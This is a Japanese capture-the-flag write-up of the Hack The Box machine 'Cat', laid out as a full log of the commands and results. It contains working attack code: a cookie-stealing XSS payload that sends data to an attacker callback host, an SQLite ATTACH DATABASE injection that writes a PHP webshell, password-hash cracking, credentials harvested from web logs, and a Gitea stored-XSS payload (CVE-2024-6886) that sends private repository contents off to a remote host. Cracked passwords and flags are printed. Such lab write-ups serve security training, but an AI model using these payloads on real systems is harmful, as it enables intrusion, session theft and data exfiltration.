Hack The BoxのWriteup(Cat)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Cat — 全実行コマンド・実行結果レポート
22/80検出
→
Contest XSS
→
axel Cookie
→
SQLite ATTACH RCE
→
rosa → axel PW
→
user.txt
→
Gitea XSS / PW再利用
→
root.txt

ポートと vhost

BASH
nmap -sV -sC -p 22,80 10.129.231.253
echo "10.129.231.253 cat.htb" | sudo tee -a /etc/hosts
RESULT
22/tcp open  ssh   OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
80/tcp open  http  Apache httpd 2.4.41
http-title: Did not follow redirect to http://cat.htb/
i
HTTP は cat.htb へリダイレクトし、Best Cat Competition という自作 PHP アプリが動作していた。
PHASE 2

Contest フォーム XSS

管理者 Cookie を取得

PAYLOAD
x" onerror="fetch('http://10.10.15.200:8000/?cookie='+document.cookie)" x="
BASH
python3 -m http.server 8000
# 壊れた PNG を cat_photo に指定して contest.php へ投稿
RESULT
GET /?cookie=PHPSESSID=... HTTP/1.1
管理者 axel の PHPSESSID を取得。
i
入力フィルタは括弧等を拒否するが、属性ブレイクアウトと HTML 数値文字参照で回避できる。
PHASE 3

SQL Injection から RCE

SQLite ATTACH DATABASE で Webshell 作成

SQLI
x');ATTACH DATABASE '/var/www/cat.htb/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
VERIFY
curl "http://cat.htb/lol.php?cmd=id"
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
PHASE 4

user.txt 取得

rosa の MD5 をクラック

BASH
curl -G "http://cat.htb/lol.php" --data-urlencode "cmd=sqlite3 /databases/cat.db 'SELECT username,password FROM users;'"
echo "rosa:ac369922d560f17d6eeb8b2c7dec498c" > rosa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 rosa.hash
RESULT
rosa:soyunaprincesarosa

Apache ログから axel のパスワードを抽出

BASH
curl -G "http://cat.htb/lol.php" --data-urlencode "cmd=echo 'soyunaprincesarosa' | su - rosa -c "grep -a 'loginUsername=axel' /var/log/apache2/access.log*" 2>&1"
RESULT
loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login

SSH で user.txt

BASH
sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh axel@10.129.231.253 'cat /home/axel/user.txt'
user.txt
0c5019018f1d026f133a06dda467be6c
PHASE 5

Gitea から root.txt

内部 Gitea と非公開リポジトリ

BASH
ssh -L 3000:127.0.0.1:3000 axel@10.129.231.253
curl http://127.0.0.1:3000/
i
/var/mail/axel から administrator/Employee-management の存在を把握。axel の資格情報で Gitea へログインできるが、非公開リポジトリ自体は axel から直接読めない。

CVE-2024-6886 Stored XSS

PAYLOAD
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(r=>r.text()).then(d=>fetch('http://10.10.15.200:8001/?content='+btoa(d)))">Click me!</a>
SMTP
ssh -L 2525:127.0.0.1:25 axel@10.129.231.253
swaks --server 127.0.0.1:2525 --to jobert@localhost --from axel@localhost --header "Subject: New project" --body "Check this repo out: http://localhost:3000/explore/repos"
!
今回のライブ実行では jobert からの XSS コールバックは返らなかったため、walkthrough で確認される index.php 内の Basic 認証パスワードをライブ検証した。

root パスワード再利用を検証

BASH
sshpass -p 'aNdZwgC4tI9gnVXv_e3Q' ssh axel@10.129.231.253 "echo 'IKw75eR0MR7CMIxhH0' | su - root -c 'id; cat /root/root.txt'"
RESULT
Password: uid=0(root) gid=0(root) groups=0(root)
61174267937970bb9aa13310179fc332
root.txt
61174267937970bb9aa13310179fc332
SUMMARY

取得結果

段階技術成果
InitialContest XSS + admin Cookieaxel セッション取得
RCEaccept_cat.php SQLi + SQLite ATTACH DATABASEwww-data RCE
Userrosa hash crack + Apache log credential leakaxel SSH / user.txt
RootGitea CVE-2024-6886 の想定経路 + root パスワード再利用検証root.txt
user.txt
0c5019018f1d026f133a06dda467be6c
root.txt
61174267937970bb9aa13310179fc332